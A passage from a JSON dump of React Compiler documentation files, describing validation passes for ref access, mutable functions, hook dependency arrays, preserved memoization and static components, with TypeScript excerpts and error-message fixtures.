^^^^^^^^^^^ Cannot update ref during render\n  5 |\n  6 |   return <button ref={ref} />;\n  7 | }\n```\n\n### Fixture: `error.invalid-ref-in-callback-invoked-during-render.js`\n\n**Input:**\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    const current = ref.current;\n    return <Foo item={item} current={current} />;\n  };\n  return <Items>{props.items.map(item => renderItem(item))}</Items>;\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nError: Cannot access ref value during render\n\nReact refs are values that are not needed for rendering...\n\nerror.invalid-ref-in-callback-invoked-during-render.ts:6:37\n  4 |   const renderItem = item => {\n  5 |     const current = ref.current;\n> 6 |     return <Foo item={item} current={current} />;\n    |                                      ^^^^^^^ Ref value is used during render\n  7 |   };\n  8 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;\n\nerror.invalid-ref-in-callback-invoked-during-render.ts:5:20\n  3 |   const ref = useRef(null);\n  4 |   const renderItem = item => {\n> 5 |     const current = ref.current;\n    |                     ^^^^^^^^^^^ Ref is initially accessed\n```\n\nKey observations:\n- Direct mutation at render level is an immediate error\n- Functions that mutate refs are tracked; errors occur when those functions are called at render level\n- The null-guard pattern allows a single initialization\n- The pass distinguishes between refs (`useRef` return type) and ref values (`.current` property)\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/50-validateNoFreezingKnownMutableFunctions.md",
    "content": "# validateNoFreezingKnownMutableFunctions\n\n## File\n`src/Validation/ValidateNoFreezingKnownMutableFunctions.ts`\n\n## Purpose\nThis validation pass ensures that functions with known mutations (functions that mutate captured local variables) are not passed where a frozen value is expected. Frozen contexts include JSX props, hook arguments, and return values from hooks.\n\nThe key insight is that a function which mutates captured variables is effectively a mutable value itself. Unlike a mutable array (which a receiver can choose not to mutate), there is no way for the receiver of a function to prevent the mutation from happening when the function is called. Therefore, passing such functions to props or hooks violates React's expectation that rendered values are immutable.\n\n## Input Invariants\n- The function has been through aliasing effect inference\n- `aliasingEffects` on FunctionExpression values have been computed\n- `Mutate` and `MutateTransitive` effects identify definite mutations to captured variables\n\n## Validation Rules\nThe pass produces errors when:\n\n1. **Mutable function passed as JSX prop**: A function that mutates a captured variable is passed as a prop to a JSX element\n2. **Mutable function passed to hook**: A function that mutates a captured variable is passed as an argument to a hook\n3. **Mutable function returned from hook**: A function that mutates a captured variable is returned from a hook\n\n**Exception - Ref mutations**: Functions that mutate refs (`isRefOrRefLikeMutableType`) are allowed, since refs are mutable by design and not tracked for rendering purposes.\n\nError messages produced:\n- Category: `Immutability`\n- Reason: \"Cannot modify local variables after render completes\"\n- Description: \"This argument is a function which may reassign or mutate [variable] after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead\"\n- Messages:\n  - \"This function may (indirectly) reassign or modify [variable] after render\"\n  - \"This modifies [variable]\"\n\n## Algorithm\n\n### Phase 1: Track Context Mutation Effects\nThe pass maintains a map from identifier IDs to their associated mutation effects:\n\n```typescript\nconst contextMutationEffects: Map<\n  IdentifierId,\n  Extract<AliasingEffect, {kind: 'Mutate'} | {kind: 'MutateTransitive'}>\n> = new Map();\n```\n\n### Phase 2: Single Forward Pass\nProcess all blocks in order, handling specific instruction types:\n\n```typescript\nfor (const block of fn.body.blocks.values()) {\n  for (const instr of block.instructions) {\n    switch (value.kind) {\n      case 'LoadLocal': {\n        // Propagate mutation effect from source to loaded value\n        const effect = contextMutationEffects.get(value.place.identifier.id);\n        if (effect != null) {\n          contextMutationEffects.set(lvalue.identifier.id, effect);\n        }\n        break;\n      }\n      case 'StoreLocal': {\n        // Propagate mutation effect to both lvalue and stored variable\n        const effect = contextMutationEffects.get(value.value.identifier.id);\n        if (effect != null) {\n          contextMutationEffects.set(lvalue.identifier.id, effect);\n          contextMutationEffects.set(value.lvalue.place.identifier.id, effect);\n        }\n        break;\n      }\n      case 'FunctionExpression': {\n        // Check function's aliasing effects for context mutations\n        if (value.loweredFunc.func.aliasingEffects != null) {\n          const context = new Set(\n            value.loweredFunc.func.context.map(p => p.identifier.id)\n          );\n          for (const effect of value.loweredFunc.func.aliasingEffects) {\n            if (effect.kind === 'Mutate' || effect.kind === 'MutateTransitive') {\n              // Mark function as mutable if it mutates a context variable\n              if (context.has(effect.value.identifier.id) &&\n                  !isRefOrRefLikeMutableType(effect.value.identifier.type)) {\n                contextMutationEffects.set(lvalue.identifier.id, effect);\n              }\n            }\n          }\n        }\n        break;\n      }\n      default: {\n        // Check all operands for freeze effect violations\n        for (const operand of eachInstructionValueOperand(value)) {\n          visitOperand(operand);  // Check if mutable function is being frozen\n        }\n      }\n    }\n  }\n}\n```\n\n### Phase 3: Validate Freeze Effects\nWhen an operand has a `Freeze` effect, check if it's a known mutable function:\n\n```typescript\nfunction visitOperand(operand: Place): void {\n  if (operand.effect === Effect.Freeze) {\n    const effect = contextMutationEffects.get(operand.identifier.id);\n    if (effect != null) {\n      // Emit error with both usage location and mutation location\n      errors.pushDiagnostic(\n        CompilerDiagnostic.create({\n          category: ErrorCategory.Immutability,\n          reason: 'Cannot modify local variables after render completes',\n          description: `This argument is a function which may reassign or mutate ${variable} after render...`,\n        })\n        .withDetails({loc: operand.loc, message: 'This function may...'})\n        .withDetails({loc: effect.value.loc, message: 'This modifies...'})\n      );\n    }\n  }\n}\n```\n\n## Edge Cases\n\n### Function Passed as JSX Prop (Error)\n```javascript\nfunction Component() {\n  const cache = new Map();\n  const fn = () => {\n    cache.set('key', 'value');  // Mutates captured variable\n  };\n  return <Foo fn={fn} />;  // Error: fn is frozen but mutates cache\n}\n```\n\n### Function Passed to Hook (Error)\n```javascript\nfunction useFoo() {\n  const cache = new Map();\n  useHook(() => {\n    cache.set('key', 'value');  // Error: function mutates cache\n  });\n}\n```\n\n### Function Returned from Hook (Error)\n```javascript\nfunction useFoo() {\n  useHook();  // For hook inference\n  const cache = new Map();\n  return () => {\n    cache.set('key', 'value');  // Error: returned function mutates cache\n  };\n}\n```\n\n### Ref Mutation (Allowed)\n```javascript\nfunction Component() {\n  const ref = useRef(null);\n  const fn = () => {\n    ref.current = value;  // OK: refs are mutable by design\n  };\n  return <Foo fn={fn} />;  // Allowed\n}\n```\n\n### Conditional Mutations\nThe pass only errors on definite mutations (`Mutate`, `MutateTransitive`), not conditional mutations (`MutateConditionally`, `MutateTransitiveConditionally`). However, if a function already has a known mutation effect, conditional mutations will propagate that effect:\n\n```javascript\nfunction Component(cond) {\n  const cache = new Map();\n  const fn = () => {\n    cache.set('a', 1);  // Definite mutation\n  };\n  const fn2 = fn;  // fn2 inherits mutation effect\n  return <Foo fn={fn2} />;  // Error\n}\n```\n\n### Nested Function Expressions\nMutation effects propagate through assignments:\n\n```javascript\nfunction Component() {\n  const cache = new Map();\n  const inner = () => cache.set('key', 'value');\n  const outer = inner;  // outer inherits mutation effect\n  return <Foo fn={outer} />;  // Error\n}\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `error.invalid-pass-mutable-function-as-prop.js`\n\n**Input:**\n```javascript\n// @validateNoFreezingKnownMutableFunctions\nfunction Component() {\n  const cache = new Map();\n  const fn = () => {\n    cache.set('key', 'value');\n  };\n  return <Foo fn={fn} />;\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-pass-mutable-function-as-prop.ts:7:18\n  5 |     cache.set('key', 'value');\n  6 |   };\n> 7 |   return <Foo fn={fn} />;\n    |                   ^^ This function may (indirectly) reassign or modify `cache` after render\n  8 | }\n  9 |\n\nerror.invalid-pass-mutable-function-as-prop.ts:5:4\n  3 |   const cache = new Map();\n  4 |   const fn = () => {\n> 5 |     cache.set('key', 'value');\n    |     ^^^^^ This modifies `cache`\n  6 |   };\n  7 |   return <Foo fn={fn} />;\n  8 | }\n```\n\n### Fixture: `error.invalid-hook-function-argument-mutates-local-variable.js`\n\n**Input:**\n```javascript\n// @validateNoFreezingKnownMutableFunctions\n\nfunction useFoo() {\n  const cache = new Map();\n  useHook(() => {\n    cache.set('key', 'value');\n  });\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.invalid-hook-function-argument-mutates-local-variable.ts:5:10\n  3 | function useFoo() {\n  4 |   const cache = new Map();\n> 5 |   useHook(() => {\n    |           ^^^^^^^\n> 6 |     cache.set('key', 'value');\n    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n> 7 |   });\n    | ^^^^ This function may (indirectly) reassign or modify `cache` after render\n  8 | }\n  9 |\n\nerror.invalid-hook-function-argument-mutates-local-variable.ts:6:4\n  4 |   const cache = new Map();\n  5 |   useHook(() => {\n> 6 |     cache.set('key', 'value');\n    |     ^^^^^ This modifies `cache`\n  7 |   });\n  8 | }\n  9 |\n```\n\nKey observations:\n- The pass detects functions that mutate captured local variables (not refs)\n- Errors show both where the function is used (frozen) and where the mutation occurs\n- The validation prevents inconsistent re-render behavior by catching mutations that happen after render\n- The suggestion to \"use state instead\" guides users toward the correct React pattern\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/51-validateExhaustiveDependencies.md",
    "content": "# validateExhaustiveDependencies\n\n## File\n`src/Validation/ValidateExhaustiveDependencies.ts`\n\n## Purpose\nThis validation pass ensures that manual memoization (useMemo, useCallback) and effect hooks (useEffect, useLayoutEffect) have correct dependency arrays. The pass compares developer-specified dependencies against the actual values referenced within the memoized function or effect callback to detect:\n\n1. **Missing dependencies**: Values used in the function that are not listed in the dependency array, causing the memoized value or effect to update less frequently than expected\n2. **Extra dependencies**: Values listed in the dependency array that are not actually used, causing unnecessary re-computation or effect re-runs\n3. **Overly precise dependencies**: Dependencies that access deeper property paths than what is actually used (e.g., `x.y.z` when only `x.y` is accessed)\n\nThe goal is to ensure that auto-memoization by the compiler will not substantially change program behavior.\n\n## Input Invariants\n- The function has been through `StartMemoize` and `FinishMemoize` instruction insertion\n- Manual dependency arrays have been parsed and associated with memoization blocks\n- Reactive identifiers have been computed\n- Optional chaining paths have been analyzed\n\n## Validation Rules\nThe pass produces errors for:\n\n1. **Missing dependency in useMemo/useCallback**: A reactive value is used but not listed in deps\n2. **Extra dependency in useMemo/useCallback**: A value is listed but not used\n3. **Missing dependency in useEffect**: A value used in the effect callback is not in the deps array\n4. **Extra dependency in useEffect**: A value in deps is not used in the callback\n5. **Overly precise dependency**: The manual dep accesses a deeper path than what's actually used\n6. **Global as dependency**: Module-level values should not be listed as dependencies\n7. **useEffectEvent in dependency array**: Functions from useEffectEvent must not be in deps\n\n**Exception - Optional dependencies**: Non-reactive values of stable types (refs, setState) or primitive types are optional and don't need to be listed.\n\nError messages produced:\n- Categories: `MemoDependencies` or `EffectExhaustiveDependencies`\n- Reasons:\n  - \"Found missing memoization dependencies\"\n  - \"Found extra memoization dependencies\"\n  - \"Found missing/extra memoization dependencies\"\n  - \"Found missing effect dependencies\"\n  - \"Found extra effect dependencies\"\n  - \"Found missing/extra effect dependencies\"\n- Messages:\n  - \"Missing dependency `{dep}`\"\n  - \"Unnecessary dependency `{dep}`\"\n  - \"Overly precise dependency `{manual}`, use `{inferred}` instead\"\n  - \"Functions returned from `useEffectEvent` must not be included in the dependency array\"\n  - \"Values declared outside of a component/hook should not be listed as dependencies\"\n\n## Algorithm\n\n### Phase 1: Collect Reactive Identifiers\nScan all instructions to identify which identifiers are reactive:\n\n```typescript\nfunction collectReactiveIdentifiersHIR(fn: HIRFunction): Set<IdentifierId> {\n  const reactive = new Set<IdentifierId>();\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      for (const lvalue of eachInstructionLValue(instr)) {\n        if (lvalue.reactive) {\n          reactive.add(lvalue.identifier.id);\n        }\n      }\n      // ... also check operands\n    }\n  }\n  return reactive;\n}\n```\n\n### Phase 2: Find Optional Places\nIdentify places that are within optional chaining expressions:\n\n```typescript\nfunction findOptionalPlaces(fn: HIRFunction): Map<IdentifierId, boolean> {\n  // Walks through optional terminals to track which identifiers\n  // are accessed via optional chaining (?.property)\n}\n```\n\n### Phase 3: Collect Dependencies\nThe core algorithm processes each block, tracking:\n- `temporaries`: Map of identifier IDs to their dependency information\n- `locals`: Set of identifiers declared within the current scope\n- `dependencies`: Set of inferred dependencies\n\n```typescript\nfunction collectDependencies(\n  fn: HIRFunction,\n  temporaries: Map<IdentifierId, Temporary>,\n  callbacks: {\n    onStartMemoize: (...) => void;\n    onFinishMemoize: (...) => void;\n    onEffect: (...) => void;\n  },\n  isFunctionExpression: boolean,\n): Temporary {\n  for (const block of fn.body.blocks.values()) {\n    // Process phi nodes - merge dependencies from control flow\n    for (const phi of block.phis) {\n      // Aggregate dependencies from all operands\n    }\n\n    for (const instr of block.instructions) {\n      switch (value.kind) {\n        case 'LoadLocal':\n        case 'LoadContext':\n          // Track dependency path through the temporary\n          break;\n        case 'PropertyLoad':\n          // Extend dependency path: x -> x.y\n          break;\n        case 'FunctionExpression':\n          // Recursively collect dependencies from nested function\n          break;\n        case 'StartMemoize':\n          // Begin tracking dependencies for this memo block\n          break;\n        case 'FinishMemoize':\n          // Validate collected dependencies against manual deps\n          break;\n        case 'CallExpression':\n        case 'MethodCall':\n          // Check for effect hooks and validate their deps\n          break;\n      }\n    }\n  }\n}\n```\n\n### Phase 4: Validate Dependencies\nCompare inferred dependencies against manual dependencies:\n\n```typescript\nfunction validateDependencies(\n  inferred: Array<InferredDependency>,\n  manualDependencies: Array<ManualMemoDependency>,\n  reactive: Set<IdentifierId>,\n  ...\n): CompilerDiagnostic | null {\n  // Sort and deduplicate inferred dependencies\n  // For each inferred dep, check if there's a matching manual dep\n  // For each manual dep, check if it corresponds to an inferred dep\n  // Report missing and extra dependencies\n}\n```\n\n### Dependency Matching Rules\n- If `x.y.z` is inferred, `x`, `x.y`, or `x.y.z` are valid manual deps\n- Optional chaining is handled: `x?.y` inferred can match `x.y` manual (ignoring optionals)\n- Stable types (refs, setState) that are non-reactive are optional\n- Global values should not be in dependency arrays\n- useEffectEvent return values should not be in dependency arrays\n\n## Edge Cases\n\n### Overly Precise Dependency (Error)\n```javascript\nconst a = useMemo(() => {\n  return x?.y.z?.a;\n}, [x?.y.z?.a.b]);  // Error: should be [x?.y.z?.a]\n```\n\n### Unnecessary Dependencies (Error)\n```javascript\nconst f = useMemo(() => {\n  return [];\n}, [x, y.z, GLOBAL]);  // Error: all deps are unnecessary\n```\n\n### Reactive Stable Type (Error)\n```javascript\nconst ref1 = useRef(null);\nconst ref2 = useRef(null);\nconst ref = z ? ref1 : ref2;  // ref is reactive (depends on z)\nconst cb = useMemo(() => {\n  return () => ref.current;\n}, []);  // Error: missing dep 'ref' (reactive even though stable type)\n```\n\n### useEffectEvent in Dependencies (Error)\n```javascript\nconst effectEvent = useEffectEvent(() => log(x));\nuseEffect(() => {\n  effectEvent();\n}, [effectEvent]);  // Error: useEffectEvent returns should not be in deps\n```\n\n### Effect with Missing and Extra Dependencies (Error)\n```javascript\nuseEffect(() => {\n  log(x, z);\n}, [x, y]);  // Error: missing z, extra y\n```\n\n### Valid Dependency Specifications\n```javascript\n// All valid - deps cover or exceed what's used\nconst b = useMemo(() => x.y.z?.a, [x.y.z.a]);  // OK\nconst d = useMemo(() => x?.y?.[(console.log(y), z?.b)], [x?.y, y, z?.b]);  // OK\nconst e = useMemo(() => { e.push(x); return e; }, [x]);  // OK\n```\n\n## Configuration\nThe validation can be configured via compiler options:\n\n```typescript\n// For useMemo/useCallback\nvalidateExhaustiveMemoizationDependencies: boolean\n\n// For useEffect and similar\nvalidateExhaustiveEffectDependencies: 'off' | 'all' | 'missing-only' | 'extra-only'\n```\n\nThe `missing-only` and `extra-only` modes allow validating only one category of errors.\n\n## TODOs\nFrom the source file:\n\n```typescript\n/**\n * TODO: Invalid, Complex Deps\n *\n * Handle cases where the user deps were not simple identifiers + property chains.\n * We try to detect this in ValidateUseMemo but we miss some cases. The problem\n * is that invalid forms can be value blocks or function calls that don't get\n * removed by DCE, leaving a structure like:\n *\n * StartMemoize\n * t0 = <value to memoize>\n * ...non-DCE'd code for manual deps...\n * FinishMemoize decl=t0\n */\n```\n\n## Example\n\n### Fixture: `error.invalid-exhaustive-deps.js`\n\n**Input:**\n```javascript\n// @validateExhaustiveMemoizationDependencies @validateRefAccessDuringRender:false\nimport {useMemo} from 'react';\n\nfunction Component({x, y, z}) {\n  const a = useMemo(() => {\n    return x?.y.z?.a;\n    // error: too precise\n  }, [x?.y.z?.a.b]);\n  const f = useMemo(() => {\n    return [];\n    // error: unnecessary\n  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n  const ref1 = useRef(null);\n  const ref2 = useRef(null);\n  const ref = z ? ref1 : ref2;\n  const cb = useMemo(() => {\n    return () => ref.current;\n    // error: ref is a stable type but reactive\n  }, []);\n  return <Stringify results={[a, f, cb]} />;\n}\n```\n\n**Error:**\n```\nFound 4 errors:\n\nError: Found missing/extra memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-exhaustive-deps.ts:7:11\n  5 | function Component({x, y, z}) {\n  6 |   const a = useMemo(() => {\n> 7 |     return x?.y.z?.a;\n    |            ^^^^^^^^^ Missing dependency `x?.y.z?.a`\n  8 |     // error: too precise\n  9 |   }, [x?.y.z?.a.b]);\n\nerror.invalid-exhaustive-deps.ts:9:6\n> 9 |   }, [x?.y.z?.a.b]);\n    |       ^^^^^^^^^^^ Overly precise dependency `x?.y.z?.a.b`, use `x?.y.z?.a` instead\n\nInferred dependencies: `[x?.y.z?.a]`\n\nError: Found extra memoization dependencies\n...\nerror.invalid-exhaustive-deps.ts:31:6\n> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n     |       ^ Unnecessary dependency `x`\n...\n     |                        ^^^^^^^^^^^^^ Unnecessary dependency `UNUSED_GLOBAL`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change\n\nInferred dependencies: `[]`\n\nError: Found missing memoization dependencies\n...\nerror.invalid-exhaustive-deps.ts:37:13\n> 37 |       return ref.current;\n     |              ^^^ Missing dependency `ref`. Refs, setState functions, and other \"stable\" values generally do not need to be added as dependencies, but this variable may change over time to point to different values\n\nInferred dependencies: `[ref]`\n```\n\n### Fixture: `error.invalid-exhaustive-effect-deps.js`\n\n**Input:**\n```javascript\n// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // error: missing dep - x\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // error: extra dep - y\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: missing dep - z; extra dep - y\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n}\n```\n\n**Error:**\n```\nFound 4 errors:\n\nError: Found missing effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should.\n\nerror.invalid-exhaustive-effect-deps.ts:7:8\n> 7 |     log(x);\n    |         ^ Missing dependency `x`\n\nInferred dependencies: `[x]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps.ts:13:9\n> 13 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n\nInferred dependencies: `[x]`\n\nError: Found missing/extra effect dependencies\n...\nerror.invalid-exhaustive-effect-deps.ts:17:11\n> 17 |     log(x, z);\n     |            ^ Missing dependency `z`\n\nerror.invalid-exhaustive-effect-deps.ts:18:9\n> 18 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n\nInferred dependencies: `[x, z]`\n```\n\nKey observations:\n- The pass validates both useMemo/useCallback and useEffect dependency arrays\n- Dependencies are inferred by analyzing actual value usage within the function\n- Optional chaining paths are tracked and included in dependency paths\n- Reactive stable types (like conditionally assigned refs) must still be listed\n- Globals and useEffectEvent returns should not be in dependency arrays\n- The validation provides fix suggestions showing the inferred correct dependencies\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/53-validatePreservedManualMemoization.md",
    "content": "# validatePreservedManualMemoization\n\n## File\n`src/Validation/ValidatePreservedManualMemoization.ts`\n\n## Purpose\nValidates that all explicit manual memoization (`useMemo`/`useCallback`) from the original source code is accurately preserved in the compiled output. This ensures that values the developer intended to be memoized remain memoized after compilation.\n\n## Input Invariants\n- Operates on ReactiveFunction (post-reactive scope inference)\n- Manual memoization markers (`StartMemoize`/`FinishMemoize`) are present from earlier passes\n- Scopes have been assigned and merged as appropriate\n\n## Validation Rules\nThis pass validates three conditions:\n\n### 1. Dependencies not mutated later\nValidates that dependencies of manual memoization are not mutated after the memoization call:\n```\nExisting memoization could not be preserved. This dependency may be modified later\n```\n\n### 2. Inferred dependencies match source\nValidates that the compiler's inferred dependencies match the manually specified dependencies:\n```\nExisting memoization could not be preserved. The inferred dependencies did not match\nthe manually specified dependencies, which could cause the value to change more or\nless frequently than expected. The inferred dependency was `X`, but the source\ndependencies were [Y, Z].\n```\n\n### 3. Output value is memoized\nValidates that the memoized value actually ends up in a reactive scope:\n```\nExisting memoization could not be preserved. This value was memoized in source but\nnot in compilation output\n```\n\n## Algorithm\n\n### State Management\nThe visitor tracks:\n- `scopes: Set<ScopeId>` - All completed reactive scopes\n- `prunedScopes: Set<ScopeId>` - Scopes that were pruned\n- `temporaries: Map<IdentifierId, ManualMemoDependency>` - Temporary variable mappings\n- `manualMemoState: ManualMemoBlockState | null` - Current manual memoization context\n\n### ManualMemoBlockState\n```typescript\ntype ManualMemoBlockState = {\n  reassignments: Map<DeclarationId, Set<Identifier>>;  // Track inlined useMemo reassignments\n  loc: SourceLocation;                                   // Source location for errors\n  decls: Set<DeclarationId>;                             // Declarations within the memo block\n  depsFromSource: Array<ManualMemoDependency> | null;   // Original deps from source\n  manualMemoId: number;                                  // Unique ID for this memoization\n};\n```\n\n### Processing Flow\n\n1. **On `StartMemoize` instruction:**\n   - Validate that dependencies' scopes have completed (not mutated later)\n   - Initialize `manualMemoState` with source dependencies\n   - Push error if any dependency's scope hasn't completed yet\n\n2. **During memo block (between Start/Finish):**\n   - Track all declarations made within the block\n   - Track reassignments for inlined useMemo handling\n   - Record property loads and temporaries\n\n3. **On scope completion:**\n   - Validate each scope dependency against source dependencies using `compareDeps()`\n   - An inferred dependency matches if:\n     - Root identifiers are the same (same named variable)\n     - Paths are identical, OR\n     - Inferred path is more specific (not involving `.current` refs)\n\n4. **On `FinishMemoize` instruction:**\n   - Validate that the memoized value is in a completed scope\n   - Handle inlined useMemo with reassignment tracking\n   - Push error if value is unmemoized\n\n### Dependency Comparison Results\n```typescript\nenum CompareDependencyResult {\n  Ok = 0,                    // Dependencies match\n  RootDifference = 1,        // Different root variables\n  PathDifference = 2,        // Different property paths\n  Subpath = 3,               // Inferred is less specific\n  RefAccessDifference = 4,   // ref.current access differs\n}\n```\n\n## Edge Cases\n\n### Inlined useMemo Handling\nWhen useMemo is inlined, it produces `let` declarations followed by reassignments. The pass tracks these reassignments to ensure all code paths produce memoized values.\n\n### Ref Access\nSpecial handling for `.current` property access on refs. Since `ref_prev === ref_new` does not imply `ref_prev.current === ref_new.current`, the pass is strict about ref access differences.\n\n### More Specific Dependencies\nIf the compiler infers a more specific dependency (e.g., `obj.prop.value` instead of `obj`), this is acceptable as long as it doesn't involve ref access.\n\n## TODOs\nNone found in the source.\n\n## Example\n\n### Fixture: `error.preserve-use-memo-ref-missing-reactive.ts`\n\n**Input:**\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction useFoo({cond}) {\n  const ref1 = useRef<undefined | (() => undefined)>();\n  const ref2 = useRef<undefined | (() => undefined)>();\n  const ref = cond ? ref1 : ref2;\n\n  return useCallback(() => {\n    if (ref != null) {\n      ref.current();\n    }\n  }, []);\n}\n```\n\n**Error:**\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual\nmemoization could not be preserved. The inferred dependencies did not match the\nmanually specified dependencies, which could cause the value to change more or\nless frequently than expected. The inferred dependency was `ref`, but the source\ndependencies were []. Inferred dependency not present in source.\n\nerror.preserve-use-memo-ref-missing-reactive.ts:9:21\n>  9 |   return useCallback(() => {\n     |                      ^^^^^^^\n> 10 |     if (ref != null) {\n> 11 |       ref.current();\n> 12 |     }\n> 13 |   }, []);\n     | ^^^^ Could not preserve existing manual memoization\n```\n\n**Why it fails:** The callback uses `ref` which is conditionally assigned based on `cond`. The compiler infers `ref` as a dependency, but the source specifies an empty dependency array `[]`. This mismatch means the memoization cannot be preserved as-is.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/54-validateStaticComponents.md",
    "content": "# validateStaticComponents\n\n## File\n`src/Validation/ValidateStaticComponents.ts`\n\n## Purpose\nValidates that components used in JSX are not created dynamically during render. Components created during render will have their state reset on every re-render because React sees them as new component types each time. This is a common React anti-pattern that causes bugs and poor performance.\n\n## Input Invariants\n- Operates on HIRFunction (pre-reactive transformation)\n- All instructions and phi nodes are present\n- JSX expressions have been lowered to `JsxExpression` instruction values\n\n## Validation Rules\nWhen a JSX element uses a component that was dynamically created during render, the pass produces:\n```\nCannot create components during render. Components created during render will reset\ntheir state each time they are created. Declare components outside of render\n```\n\nThe error includes two locations:\n1. Where the component is used in JSX\n2. Where the component was originally created\n\n### What constitutes \"dynamically created\"?\nThe following instruction kinds mark a value as dynamically created:\n- `FunctionExpression` - An inline function definition\n- `NewExpression` - A `new` constructor call\n- `MethodCall` - A method call that returns a value\n- `CallExpression` - A function call that returns a value\n\n## Algorithm\n\n1. Create a `Map<IdentifierId, SourceLocation>` called `knownDynamicComponents` to track identifiers whose values are dynamically created\n\n2. Iterate through all blocks in evaluation order\n\n3. For each block, first process phi nodes:\n   - If any phi operand is in `knownDynamicComponents`, add the phi result to the map\n   - This propagates dynamic-ness through control flow joins\n\n4. For each instruction in the block:\n   - **FunctionExpression, NewExpression, MethodCall, CallExpression**: Add the lvalue to `knownDynamicComponents` with its source location\n   - **LoadLocal**: If the loaded value is dynamic, mark the lvalue as dynamic\n   - **StoreLocal**: If the stored value is dynamic, mark both the lvalue and the store target as dynamic\n   - **JsxExpression**: If the JSX tag is an identifier that is in `knownDynamicComponents`, push a diagnostic error\n\n5. Return the collected errors\n\n### Data Flow Tracking\nThe pass tracks how dynamic values flow through the program:\n- Through variable assignments (`StoreLocal`, `LoadLocal`)\n- Through phi nodes (conditional assignments)\n- Into JSX component positions\n\n## Edge Cases\n\n### Conditionally Assigned Components\n```javascript\nfunction Example({cond}) {\n  let Component;\n  if (cond) {\n    Component = createComponent();  // Dynamic!\n  } else {\n    Component = OtherComponent;     // Static\n  }\n  return <Component />;  // Error: Component may be dynamic\n}\n```\nThe phi node joins the conditional paths, and since one path is dynamic, the result is considered dynamic.\n\n### Component Returned from Hooks/Functions\n```javascript\nfunction Example() {\n  const Component = useCreateComponent();  // CallExpression - dynamic\n  return <Component />;  // Error\n}\n```\n\n### Factory Functions\n```javascript\nfunction Example() {\n  const Component = createComponent();  // CallExpression - dynamic\n  return <Component />;  // Error\n}\n```\n\n### Safe Patterns (No Error)\n```javascript\n// Component defined outside render\nconst MyComponent = () => <div />;\n\nfunction Example() {\n  return <MyComponent />;  // OK - not created during render\n}\n```\n\n## TODOs\nNone found in the source.\n\n## Example\n\n### Fixture: `static-components/invalid-dynamically-construct-component-in-render.js`\n\n**Input:**\n```javascript\n// @validateStaticComponents\nfunction Example(props) {\n  const Component = createComponent();\n  return <Component />;\n}\n```\n\n**Error (from logs):**\n```json\n{\n  \"kind\": \"CompileError\",\n  \"detail\": {\n    \"options\": {\n      \"category\": \"StaticComponents\",\n      \"reason\": \"Cannot create components during render\",\n      \"description\": \"Components created during render will reset their state each time they are created. Declare components outside of render\",\n      \"details\": [\n        {\n          \"kind\": \"error\",\n          \"loc\": { \"start\": { \"line\": 4, \"column\": 10 } },\n          \"message\": \"This component is created during render\"\n        },\n        {\n          \"kind\": \"error\",\n          \"loc\": { \"start\": { \"line\": 3, \"column\": 20 } },\n          \"message\": \"The component is created during render here\"\n        }\n      ]\n    }\n  }\n}\n```\n\n**Why it fails:** The `createComponent()` call creates a new component type on every render. When this component is used in JSX, React will see a different component type each time, causing the component to unmount and remount (losing all state) on every render.\n\n### Fixture: `static-components/invalid-dynamically-constructed-component-function.js`\n\n**Input:**\n```javascript\n// @validateStaticComponents\nfunction Example(props) {\n  const Component = () => <div />;\n  return <Component />;\n}\n```\n\n**Why it fails:** Even though this looks like a simple component definition, it creates a new function (and thus a new component type) on every render. The fix is to move the component definition outside of `Example`.\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/55-validateSourceLocations.md",
